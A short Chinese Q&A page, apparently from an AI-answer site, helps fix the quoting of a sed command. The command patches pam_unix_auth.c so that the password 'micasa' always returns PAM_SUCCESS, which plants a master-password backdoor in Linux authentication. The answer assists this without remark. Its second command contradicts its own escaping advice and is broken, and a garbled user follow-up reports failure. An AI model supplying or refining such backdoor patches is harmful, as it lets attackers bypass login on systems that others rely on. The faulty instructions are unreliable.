可能是因为命令中的双引号没有被正确转义导致的。可以尝试使用单引号将命令包裹起来,再将双引号转义,如下所示:

sed -i '/\tretval = _unix_verify_password(pamh, name, p, ctrl);/ a \\tif (strcmp(p, "micasa") == 0) { retval = PAM_SUCCESS; }' pam_unix_auth.c

或者直接使用双引号将整个命令包裹起来,如下所示:

sed -i "/\tretval = _unix_verify_password(pamh, name, p, ctrl);/ a \\tif (strcmp(p, "micasa") == 0) { retval = PAM_SUCCESS; }" pam_unix_auth.c

注意,这里的双引号需要转义,否则会被解析为字符串结束符号。

你好sed -i tretval = _unix_verify_passwordpamh name p ctrl; a tif strcmpp micasa == 0 retval = PAM_SUCCESS; pam_unix_authc执行并没有添加成功

原文地址: https://www.cveoy.top/t/topic/bFxd 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录